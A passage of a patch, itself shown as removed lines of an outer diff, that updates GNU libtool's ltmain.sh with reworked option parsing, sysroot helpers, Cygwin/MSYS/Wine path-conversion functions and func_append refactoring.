-+ --verbose|-v)
-+ opt_verbose=:
-+func_append preserve_args " $opt"
-+opt_silent=false
-+ ;;
-+ --tag)
-+ test $# = 0 && func_missing_arg $opt && break
-+ optarg="$1"
-+ opt_tag="$optarg"
-+func_append preserve_args " $opt $optarg"
-+func_enable_tag "$optarg"
- shift
- ;;
-
-+ -\?|-h) func_usage ;;
-+ --help) func_help ;;
-+ --version) func_version ;;
-+
- # Separate optargs to long options:
-- -dlopen=*|--mode=*|--tag=*)
-- func_opt_split "$opt"
-- set dummy "$func_opt_split_opt" "$func_opt_split_arg" ${1+"$@"}
-+ --*=*)
-+ func_split_long_opt "$opt"
-+ set dummy "$func_split_long_opt_name" "$func_split_long_opt_arg" ${1+"$@"}
- shift
- ;;
-
-- -\?|-h) func_usage ;;
-- --help) opt_help=: ;;
-- --help-all) opt_help=': help-all' ;;
-- --version) func_version ;;
--
-- -*) func_fatal_help "unrecognized option \`$opt'" ;;
--
-- *) nonopt="$opt"
-- break
-+ # Separate non-argument short options:
-+ -\?*|-h*|-n*|-v*)
-+ func_split_short_opt "$opt"
-+ set dummy "$func_split_short_opt_name" "-$func_split_short_opt_arg" ${1+"$@"}
-+ shift
- ;;
-+
-+ --) break ;;
-+ -*) func_fatal_help "unrecognized option \`$opt'" ;;
-+ *) set dummy "$opt" ${1+"$@"}; shift; break ;;
- esac
- done
-
-+ # Validate options:
-+
-+ # save first non-option argument
-+ if test "$#" -gt 0; then
-+ nonopt="$opt"
-+ shift
-+ fi
-+
-+ # preserve --debug
-+ test "$opt_debug" = : || func_append preserve_args " --debug"
-
- case $host in
- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* )
-@@ -981,82 +1184,44 @@ func_enable_tag ()
- opt_duplicate_compiler_generated_deps=:
- ;;
- *)
-- opt_duplicate_compiler_generated_deps=$opt_duplicate_deps
-+ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
- ;;
- esac
-
-- # Having warned about all mis-specified options, bail out if
-- # anything was wrong.
-- $exit_cmd $EXIT_FAILURE
--}
-+ $opt_help || {
-+ # Sanity checks first:
-+ func_check_version_match
-
--# func_check_version_match
--# Ensure that we are using m4 macros, and libtool script from the same
--# release of libtool.
--func_check_version_match ()
--{
-- if test "$package_revision" != "$macro_revision"; then
-- if test "$VERSION" != "$macro_version"; then
-- if test -z "$macro_version"; then
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
--$progname: definition of this LT_INIT comes from an older release.
--$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
--$progname: and run autoconf again.
--_LT_EOF
-- else
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
--$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
--$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
--$progname: and run autoconf again.
--_LT_EOF
-- fi
-- else
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
--$progname: but the definition of this LT_INIT comes from revision $macro_revision.
--$progname: You should recreate aclocal.m4 with macros from revision $package_revision
--$progname: of $PACKAGE $VERSION and run autoconf again.
--_LT_EOF
-+ if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
-+ func_fatal_configuration "not configured to build any kind of library"
- fi
-
-- exit $EXIT_MISMATCH
-- fi
--}
--
-+ # Darwin sucks
-+ eval std_shrext=\"$shrext_cmds\"
-
--## ----------- ##
--## Main. ##
--## ----------- ##
--
--$opt_help || {
-- # Sanity checks first:
-- func_check_version_match
--
-- if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
-- func_fatal_configuration "not configured to build any kind of library"
-- fi
-+ # Only execute mode is allowed to have -dlopen flags.
-+ if test -n "$opt_dlopen" && test "$opt_mode" != execute; then
-+ func_error "unrecognized option \`-dlopen'"
-+ $ECHO "$help" 1>&2
-+ exit $EXIT_FAILURE
-+ fi
-
-- test -z "$mode" && func_fatal_error "error: you must specify a MODE."
-+ # Change the help message to a mode-specific one.
-+ generic_help="$help"
-+ help="Try \`$progname --help --mode=$opt_mode' for more information."
-+ }
-
-
-- # Darwin sucks
-- eval "std_shrext=\"$shrext_cmds\""
-+ # Bail if the options were screwed
-+ $exit_cmd $EXIT_FAILURE
-+}
-
-
-- # Only execute mode is allowed to have -dlopen flags.
-- if test -n "$execute_dlfiles" && test "$mode" != execute; then
-- func_error "unrecognized option \`-dlopen'"
-- $ECHO "$help" 1>&2
-- exit $EXIT_FAILURE
-- fi
-
-- # Change the help message to a mode-specific one.
-- generic_help="$help"
-- help="Try \`$progname --help --mode=$mode' for more information."
--}
-
-+## ----------- ##
-+## Main. ##
-+## ----------- ##
-
- # func_lalib_p file
- # True iff FILE is a libtool `.la' library or `.lo' object file.
-@@ -1121,12 +1286,9 @@ func_ltwrapper_executable_p ()
- # temporary ltwrapper_script.
- func_ltwrapper_scriptname ()
- {
-- func_ltwrapper_scriptname_result=""
-- if func_ltwrapper_executable_p "$1"; then
-- func_dirname_and_basename "$1" "" "."
-- func_stripname '' '.exe' "$func_basename_result"
-- func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
-- fi
-+ func_dirname_and_basename "$1" "" "."
-+ func_stripname '' '.exe' "$func_basename_result"
-+ func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
- }
-
- # func_ltwrapper_p file
-@@ -1149,7 +1311,7 @@ func_execute_cmds ()
- save_ifs=$IFS; IFS='~'
- for cmd in $1; do
- IFS=$save_ifs
-- eval "cmd=\"$cmd\""
-+ eval cmd=\"$cmd\"
- func_show_eval "$cmd" "${2-:}"
- done
- IFS=$save_ifs
-@@ -1172,6 +1334,37 @@ func_source ()
- }
-
-
-+# func_resolve_sysroot PATH
-+# Replace a leading = in PATH with a sysroot. Store the result into
-+# func_resolve_sysroot_result
-+func_resolve_sysroot ()
-+{
-+ func_resolve_sysroot_result=$1
-+ case $func_resolve_sysroot_result in
-+ =*)
-+ func_stripname '=' '' "$func_resolve_sysroot_result"
-+ func_resolve_sysroot_result=$lt_sysroot$func_stripname_result
-+ ;;
-+ esac
-+}
-+
-+# func_replace_sysroot PATH
-+# If PATH begins with the sysroot, replace it with = and
-+# store the result into func_replace_sysroot_result.
-+func_replace_sysroot ()
-+{
-+ case "$lt_sysroot:$1" in
-+ ?*:"$lt_sysroot"*)
-+ func_stripname "$lt_sysroot" '' "$1"
-+ func_replace_sysroot_result="=$func_stripname_result"
-+ ;;
-+ *)
-+ # Including no sysroot.
-+ func_replace_sysroot_result=$1
-+ ;;
-+ esac
-+}
-+
- # func_infer_tag arg
- # Infer tagged configuration to use if any are available and
- # if one wasn't chosen via the "--tag" command line option.
-@@ -1184,8 +1377,7 @@ func_infer_tag ()
- if test -n "$available_tags" && test -z "$tagname"; then
- CC_quoted=
- for arg in $CC; do
-- func_quote_for_eval "$arg"
-- CC_quoted="$CC_quoted $func_quote_for_eval_result"
-+ func_append_quoted CC_quoted "$arg"
- done
- CC_expanded=`func_echo_all $CC`
- CC_quoted_expanded=`func_echo_all $CC_quoted`
-@@ -1204,8 +1396,7 @@ func_infer_tag ()
- CC_quoted=
- for arg in $CC; do
- # Double-quote args containing other shell metacharacters.
-- func_quote_for_eval "$arg"
-- CC_quoted="$CC_quoted $func_quote_for_eval_result"
-+ func_append_quoted CC_quoted "$arg"
- done
- CC_expanded=`func_echo_all $CC`
- CC_quoted_expanded=`func_echo_all $CC_quoted`
-@@ -1274,6 +1465,486 @@ EOF
- }
- }
-
-+
-+##################################################
-+# FILE NAME AND PATH CONVERSION HELPER FUNCTIONS #
-+##################################################
-+
-+# func_convert_core_file_wine_to_w32 ARG
-+# Helper function used by file name conversion functions when $build is *nix,
-+# and $host is mingw, cygwin, or some other w32 environment. Relies on a
-+# correctly configured wine environment available, with the winepath program
-+# in $build's $PATH.
-+#
-+# ARG is the $build file name to be converted to w32 format.
-+# Result is available in $func_convert_core_file_wine_to_w32_result, and will
-+# be empty on error (or when ARG is empty)
-+func_convert_core_file_wine_to_w32 ()
-+{
-+ $opt_debug
-+ func_convert_core_file_wine_to_w32_result="$1"
-+ if test -n "$1"; then
-+ # Unfortunately, winepath does not exit with a non-zero error code, so we
-+ # are forced to check the contents of stdout. On the other hand, if the
-+ # command is not found, the shell will set an exit code of 127 and print
-+ # *an error message* to stdout. So we must check for both error code of
-+ # zero AND non-empty stdout, which explains the odd construction:
-+ func_convert_core_file_wine_to_w32_tmp=`winepath -w "$1" 2>/dev/null`
-+ if test "$?" -eq 0 && test -n "${func_convert_core_file_wine_to_w32_tmp}"; then
-+ func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" |
-+ $SED -e "$lt_sed_naive_backslashify"`
-+ else
-+ func_convert_core_file_wine_to_w32_result=
-+ fi
-+ fi
-+}
-+# end: func_convert_core_file_wine_to_w32
-+
-+
-+# func_convert_core_path_wine_to_w32 ARG
-+# Helper function used by path conversion functions when $build is *nix, and
-+# $host is mingw, cygwin, or some other w32 environment. Relies on a correctly
-+# configured wine environment available, with the winepath program in $build's
-+# $PATH. Assumes ARG has no leading or trailing path separator characters.
-+#
-+# ARG is path to be converted from $build format to win32.
-+# Result is available in $func_convert_core_path_wine_to_w32_result.
-+# Unconvertible file (directory) names in ARG are skipped; if no directory names
-+# are convertible, then the result may be empty.
-+func_convert_core_path_wine_to_w32 ()
-+{
-+ $opt_debug
-+ # unfortunately, winepath doesn't convert paths, only file names
-+ func_convert_core_path_wine_to_w32_result=""
-+ if test -n "$1"; then
-+ oldIFS=$IFS
-+ IFS=:
-+ for func_convert_core_path_wine_to_w32_f in $1; do
-+ IFS=$oldIFS
-+ func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f"
-+ if test -n "$func_convert_core_file_wine_to_w32_result" ; then
-+ if test -z "$func_convert_core_path_wine_to_w32_result"; then
-+ func_convert_core_path_wine_to_w32_result="$func_convert_core_file_wine_to_w32_result"
-+ else
-+ func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result"
-+ fi
-+ fi
-+ done
-+ IFS=$oldIFS
-+ fi
-+}
-+# end: func_convert_core_path_wine_to_w32
-+
-+
-+# func_cygpath ARGS...
-+# Wrapper around calling the cygpath program via LT_CYGPATH. This is used when
-+# when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2)
-+# $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or
-+# (2), returns the Cygwin file name or path in func_cygpath_result (input
-+# file name or path is assumed to be in w32 format, as previously converted
-+# from $build's *nix or MSYS format). In case (3), returns the w32 file name
-+# or path in func_cygpath_result (input file name or path is assumed to be in
-+# Cygwin format). Returns an empty string on error.
-+#
-+# ARGS are passed to cygpath, with the last one being the file name or path to
-+# be converted.
-+#
-+# Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH
-+# environment variable; do not put it in $PATH.
-+func_cygpath ()
-+{
-+ $opt_debug
-+ if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then
-+ func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null`
-+ if test "$?" -ne 0; then
-+ # on failure, ensure result is empty
-+ func_cygpath_result=
-+ fi
-+ else
-+ func_cygpath_result=
-+ func_error "LT_CYGPATH is empty or specifies non-existent file: \`$LT_CYGPATH'"
-+ fi
-+}
-+#end: func_cygpath
-+
-+
-+# func_convert_core_msys_to_w32 ARG
-+# Convert file name or path ARG from MSYS format to w32 format. Return
-+# result in func_convert_core_msys_to_w32_result.
-+func_convert_core_msys_to_w32 ()
-+{
-+ $opt_debug
-+ # awkward: cmd appends spaces to result
-+ func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null |
-+ $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-+}
-+#end: func_convert_core_msys_to_w32
-+
-+
-+# func_convert_file_check ARG1 ARG2
-+# Verify that ARG1 (a file name in $build format) was converted to $host
-+# format in ARG2. Otherwise, emit an error message, but continue (resetting
-+# func_to_host_file_result to ARG1).
-+func_convert_file_check ()
-+{
-+ $opt_debug
-+ if test -z "$2" && test -n "$1" ; then
-+ func_error "Could not determine host file name corresponding to"
-+ func_error " \`$1'"
-+ func_error "Continuing, but uninstalled executables may not work."
-+ # Fallback:
-+ func_to_host_file_result="$1"
-+ fi
-+}
-+# end func_convert_file_check
-+
-+
-+# func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH
-+# Verify that FROM_PATH (a path in $build format) was converted to $host
-+# format in TO_PATH. Otherwise, emit an error message, but continue, resetting
-+# func_to_host_file_result to a simplistic fallback value (see below).
-+func_convert_path_check ()
-+{
-+ $opt_debug
-+ if test -z "$4" && test -n "$3"; then
-+ func_error "Could not determine the host path corresponding to"
-+ func_error " \`$3'"
-+ func_error "Continuing, but uninstalled executables may not work."
-+ # Fallback. This is a deliberately simplistic "conversion" and
-+ # should not be "improved". See libtool.info.
-+ if test "x$1" != "x$2"; then
-+ lt_replace_pathsep_chars="s|$1|$2|g"
-+ func_to_host_path_result=`echo "$3" |
-+ $SED -e "$lt_replace_pathsep_chars"`
-+ else
-+ func_to_host_path_result="$3"
-+ fi
-+ fi
-+}
-+# end func_convert_path_check
-+
-+
-+# func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG
-+# Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT
-+# and appending REPL if ORIG matches BACKPAT.
-+func_convert_path_front_back_pathsep ()
-+{
-+ $opt_debug
-+ case $4 in
-+ $1 ) func_to_host_path_result="$3$func_to_host_path_result"
-+ ;;
-+ esac
-+ case $4 in
-+ $2 ) func_append func_to_host_path_result "$3"
-+ ;;
-+ esac
-+}
-+# end func_convert_path_front_back_pathsep
-+
-+
-+##################################################
-+# $build to $host FILE NAME CONVERSION FUNCTIONS #
-+##################################################
-+# invoked via `$to_host_file_cmd ARG'
-+#
-+# In each case, ARG is the path to be converted from $build to $host format.
-+# Result will be available in $func_to_host_file_result.
-+
-+
-+# func_to_host_file ARG
-+# Converts the file name ARG from $build format to $host format. Return result
-+# in func_to_host_file_result.
-+func_to_host_file ()
-+{
-+ $opt_debug
-+ $to_host_file_cmd "$1"
-+}
-+# end func_to_host_file
-+
-+
-+# func_to_tool_file ARG LAZY
-+# converts the file name ARG from $build format to toolchain format. Return
-+# result in func_to_tool_file_result. If the conversion in use is listed
-+# in (the comma separated) LAZY, no conversion takes place.
-+func_to_tool_file ()
-+{
-+ $opt_debug
-+ case ,$2, in
-+ *,"$to_tool_file_cmd",*)
-+ func_to_tool_file_result=$1
-+ ;;
-+ *)
-+ $to_tool_file_cmd "$1"
-+ func_to_tool_file_result=$func_to_host_file_result
-+ ;;
-+ esac
-+}
-+# end func_to_tool_file
-+
-+
-+# func_convert_file_noop ARG
-+# Copy ARG to func_to_host_file_result.
-+func_convert_file_noop ()
-+{
-+ func_to_host_file_result="$1"
-+}
-+# end func_convert_file_noop
-+
-+
-+# func_convert_file_msys_to_w32 ARG
-+# Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic
-+# conversion to w32 is not available inside the cwrapper. Returns result in
-+# func_to_host_file_result.
-+func_convert_file_msys_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_msys_to_w32 "$1"
-+ func_to_host_file_result="$func_convert_core_msys_to_w32_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_msys_to_w32
-+
-+
-+# func_convert_file_cygwin_to_w32 ARG
-+# Convert file name ARG from Cygwin to w32 format. Returns result in
-+# func_to_host_file_result.
-+func_convert_file_cygwin_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ # because $build is cygwin, we call "the" cygpath in $PATH; no need to use
-+ # LT_CYGPATH in this case.
-+ func_to_host_file_result=`cygpath -m "$1"`
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_cygwin_to_w32
-+
-+
-+# func_convert_file_nix_to_w32 ARG
-+# Convert file name ARG from *nix to w32 format. Requires a wine environment
-+# and a working winepath. Returns result in func_to_host_file_result.
-+func_convert_file_nix_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_file_wine_to_w32 "$1"
-+ func_to_host_file_result="$func_convert_core_file_wine_to_w32_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_nix_to_w32
-+
-+
-+# func_convert_file_msys_to_cygwin ARG
-+# Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
-+# Returns result in func_to_host_file_result.
-+func_convert_file_msys_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_msys_to_w32 "$1"
-+ func_cygpath -u "$func_convert_core_msys_to_w32_result"
-+ func_to_host_file_result="$func_cygpath_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_msys_to_cygwin
-+
-+
-+# func_convert_file_nix_to_cygwin ARG
-+# Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed
-+# in a wine environment, working winepath, and LT_CYGPATH set. Returns result
-+# in func_to_host_file_result.
-+func_convert_file_nix_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ # convert from *nix to w32, then use cygpath to convert from w32 to cygwin.
-+ func_convert_core_file_wine_to_w32 "$1"
-+ func_cygpath -u "$func_convert_core_file_wine_to_w32_result"
-+ func_to_host_file_result="$func_cygpath_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_nix_to_cygwin
-+
-+
-+#############################################
-+# $build to $host PATH CONVERSION FUNCTIONS #
-+#############################################
-+# invoked via `$to_host_path_cmd ARG'
-+#
-+# In each case, ARG is the path to be converted from $build to $host format.
-+# The result will be available in $func_to_host_path_result.
-+#
-+# Path separators are also converted from $build format to $host format. If
-+# ARG begins or ends with a path separator character, it is preserved (but
-+# converted to $host format) on output.
-+#
-+# All path conversion functions are named using the following convention:
-+# file name conversion function : func_convert_file_X_to_Y ()
-+# path conversion function : func_convert_path_X_to_Y ()
-+# where, for any given $build/$host combination the 'X_to_Y' value is the
-+# same. If conversion functions are added for new $build/$host combinations,
-+# the two new functions must follow this pattern, or func_init_to_host_path_cmd
-+# will break.
-+
-+
-+# func_init_to_host_path_cmd
-+# Ensures that function "pointer" variable $to_host_path_cmd is set to the
-+# appropriate value, based on the value of $to_host_file_cmd.
-+to_host_path_cmd=
-+func_init_to_host_path_cmd ()
-+{
-+ $opt_debug
-+ if test -z "$to_host_path_cmd"; then
-+ func_stripname 'func_convert_file_' '' "$to_host_file_cmd"
-+ to_host_path_cmd="func_convert_path_${func_stripname_result}"
-+ fi
-+}
-+
-+
-+# func_to_host_path ARG
-+# Converts the path ARG from $build format to $host format. Return result
-+# in func_to_host_path_result.
-+func_to_host_path ()
-+{
-+ $opt_debug
-+ func_init_to_host_path_cmd
-+ $to_host_path_cmd "$1"
-+}
-+# end func_to_host_path
-+
-+
-+# func_convert_path_noop ARG
-+# Copy ARG to func_to_host_path_result.
-+func_convert_path_noop ()
-+{
-+ func_to_host_path_result="$1"
-+}
-+# end func_convert_path_noop
-+
-+
-+# func_convert_path_msys_to_w32 ARG
-+# Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic
-+# conversion to w32 is not available inside the cwrapper. Returns result in
-+# func_to_host_path_result.
-+func_convert_path_msys_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # Remove leading and trailing path separator characters from ARG. MSYS
-+ # behavior is inconsistent here; cygpath turns them into '.;' and ';.';
-+ # and winepath ignores them completely.
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
-+ func_to_host_path_result="$func_convert_core_msys_to_w32_result"
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_msys_to_w32
-+
-+
-+# func_convert_path_cygwin_to_w32 ARG
-+# Convert path ARG from Cygwin to w32 format. Returns result in
-+# func_to_host_file_result.
-+func_convert_path_cygwin_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"`
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_cygwin_to_w32
-+
-+
-+# func_convert_path_nix_to_w32 ARG
-+# Convert path ARG from *nix to w32 format. Requires a wine environment and
-+# a working winepath. Returns result in func_to_host_file_result.
-+func_convert_path_nix_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
-+ func_to_host_path_result="$func_convert_core_path_wine_to_w32_result"
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_nix_to_w32
-+
-+
-+# func_convert_path_msys_to_cygwin ARG
-+# Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
-+# Returns result in func_to_host_file_result.
-+func_convert_path_msys_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
-+ func_cygpath -u -p "$func_convert_core_msys_to_w32_result"
-+ func_to_host_path_result="$func_cygpath_result"
-+ func_convert_path_check : : \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
-+ fi
-+}
-+# end func_convert_path_msys_to_cygwin
-+
-+
-+# func_convert_path_nix_to_cygwin ARG
-+# Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a
-+# a wine environment, working winepath, and LT_CYGPATH set. Returns result in
-+# func_to_host_file_result.
-+func_convert_path_nix_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # Remove leading and trailing path separator characters from
-+ # ARG. msys behavior is inconsistent here, cygpath turns them
-+ # into '.;' and ';.', and winepath ignores them completely.
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
-+ func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result"
-+ func_to_host_path_result="$func_cygpath_result"
-+ func_convert_path_check : : \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
-+ fi
-+}
-+# end func_convert_path_nix_to_cygwin
-+
-+
- # func_mode_compile arg...
- func_mode_compile ()
- {
-@@ -1314,12 +1985,12 @@ func_mode_compile ()
- ;;
-
- -pie | -fpie | -fPIE)
-- pie_flag="$pie_flag $arg"
-+ func_append pie_flag " $arg"
- continue
- ;;
-
- -shared | -static | -prefer-pic | -prefer-non-pic)
-- later="$later $arg"
-+ func_append later " $arg"
- continue
- ;;
-
-@@ -1340,15 +2011,14 @@ func_mode_compile ()
- save_ifs="$IFS"; IFS=','
- for arg in $args; do
- IFS="$save_ifs"
-- func_quote_for_eval "$arg"
-- lastarg="$lastarg $func_quote_for_eval_result"
-+ func_append_quoted lastarg "$arg"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$lastarg"
- lastarg=$func_stripname_result
-
- # Add the arguments to base_compile.
-- base_compile="$base_compile $lastarg"
-+ func_append base_compile " $lastarg"
- continue
- ;;
-
-@@ -1364,8 +2034,7 @@ func_mode_compile ()
- esac # case $arg_mode
-
- # Aesthetically quote the previous argument.
-- func_quote_for_eval "$lastarg"
-- base_compile="$base_compile $func_quote_for_eval_result"
-+ func_append_quoted base_compile "$lastarg"
- done # for arg
-
- case $arg_mode in
-@@ -1496,17 +2165,16 @@ compiler."
- $opt_dry_run || $RM $removelist
- exit $EXIT_FAILURE
- fi
-- removelist="$removelist $output_obj"
-+ func_append removelist " $output_obj"
- $ECHO "$srcfile" > "$lockfile"
- fi
-
- $opt_dry_run || $RM $removelist
-- removelist="$removelist $lockfile"
-+ func_append removelist " $lockfile"
- trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15
-
-- if test -n "$fix_srcfile_path"; then
-- eval "srcfile=\"$fix_srcfile_path\""
-- fi
-+ func_to_tool_file "$srcfile" func_convert_file_msys_to_w32
-+ srcfile=$func_to_tool_file_result
- func_quote_for_eval "$srcfile"
- qsrcfile=$func_quote_for_eval_result
-
-@@ -1526,7 +2194,7 @@ compiler."
-
- if test -z "$output_obj"; then
- # Place PIC objects in $objdir
-- command="$command -o $lobj"
-+ func_append command " -o $lobj"
- fi
-
- func_show_eval_locale "$command" \
-@@ -1573,11 +2241,11 @@ compiler."
- command="$base_compile $qsrcfile $pic_flag"
- fi
- if test "$compiler_c_o" = yes; then
-- command="$command -o $obj"
-+ func_append command " -o $obj"
- fi
-
- # Suppress compiler output if we already did a PIC compilation.
-- command="$command$suppress_output"
-+ func_append command "$suppress_output"
- func_show_eval_locale "$command" \
- '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE'
-
-@@ -1622,13 +2290,13 @@ compiler."
- }
-
- $opt_help || {
-- test "$mode" = compile && func_mode_compile ${1+"$@"}
-+ test "$opt_mode" = compile && func_mode_compile ${1+"$@"}
- }
-
- func_mode_help ()
- {
- # We need to display help for each of the modes.
-- case $mode in
-+ case $opt_mode in
- "")
- # Generic help is extracted from the usage comments
- # at the start of this file.
-@@ -1659,8 +2327,8 @@ This mode accepts the following additional options:
-
- -o OUTPUT-FILE set the output file name to OUTPUT-FILE
- -no-suppress do not suppress compiler output for multiple passes
-- -prefer-pic try to building PIC objects only
-- -prefer-non-pic try to building non-PIC objects only
-+ -prefer-pic try to build PIC objects only
-+ -prefer-non-pic try to build non-PIC objects only
- -shared do not build a \`.o' file suitable for static linking
- -static only build a \`.o' file suitable for static linking
- -Wc,FLAG pass FLAG directly to the compiler
-@@ -1804,7 +2472,7 @@ Otherwise, only FILE itself is deleted using RM."
- ;;
-
- *)
-- func_fatal_help "invalid operation mode \`$mode'"
-+ func_fatal_help "invalid operation mode \`$opt_mode'"
- ;;
- esac
-
-@@ -1819,13 +2487,13 @@ if $opt_help; then
- else
- {
- func_help noexit
-- for mode in compile link execute install finish uninstall clean; do
-+ for opt_mode in compile link execute install finish uninstall clean; do
- func_mode_help
- done
- } | sed -n '1p; 2,$s/^Usage:/ or: /p'
- {
- func_help noexit
-- for mode in compile link execute install finish uninstall clean; do
-+ for opt_mode in compile link execute install finish uninstall clean; do
- echo
- func_mode_help
- done
-@@ -1854,13 +2522,16 @@ func_mode_execute ()
- func_fatal_help "you must specify a COMMAND"
-
- # Handle -dlopen flags immediately.
-- for file in $execute_dlfiles; do
-+ for file in $opt_dlopen; do
- test -f "$file" \
- || func_fatal_help "\`$file' is not a file"
-
- dir=
- case $file in
- *.la)
-+ func_resolve_sysroot "$file"
-+ file=$func_resolve_sysroot_result
-+
- # Check to see that this really is a libtool archive.
- func_lalib_unsafe_p "$file" \
- || func_fatal_help "\`$lib' is not a valid libtool archive"
-@@ -1882,7 +2553,7 @@ func_mode_execute ()
- dir="$func_dirname_result"
-
- if test -f "$dir/$objdir/$dlname"; then
-- dir="$dir/$objdir"
-+ func_append dir "/$objdir"
- else
- if test ! -f "$dir/$dlname"; then
- func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'"
-@@ -1907,10 +2578,10 @@ func_mode_execute ()
- test -n "$absdir" && dir="$absdir"
-
- # Now add the directory to shlibpath_var.
-- if eval test -z \"\$$shlibpath_var\"; then
-- eval $shlibpath_var=\$dir
-+ if eval "test -z \"\$$shlibpath_var\""; then
-+ eval "$shlibpath_var=\"\$dir\""
- else
-- eval $shlibpath_var=\$dir:\$$shlibpath_var
-+ eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
- fi
- done
-
-@@ -1939,8 +2610,7 @@ func_mode_execute ()
- ;;
- esac
- # Quote arguments (to preserve shell metacharacters).
-- func_quote_for_eval "$file"
-- args="$args $func_quote_for_eval_result"
-+ func_append_quoted args "$file"
- done
-
- if test "X$opt_dry_run" = Xfalse; then
-@@ -1972,22 +2642,59 @@ func_mode_execute ()
- fi
- }
-
--test "$mode" = execute && func_mode_execute ${1+"$@"}
-+test "$opt_mode" = execute && func_mode_execute ${1+"$@"}
-
-
- # func_mode_finish arg...
- func_mode_finish ()
- {
- $opt_debug
-- libdirs="$nonopt"
-+ libs=
-+ libdirs=
- admincmds=
-
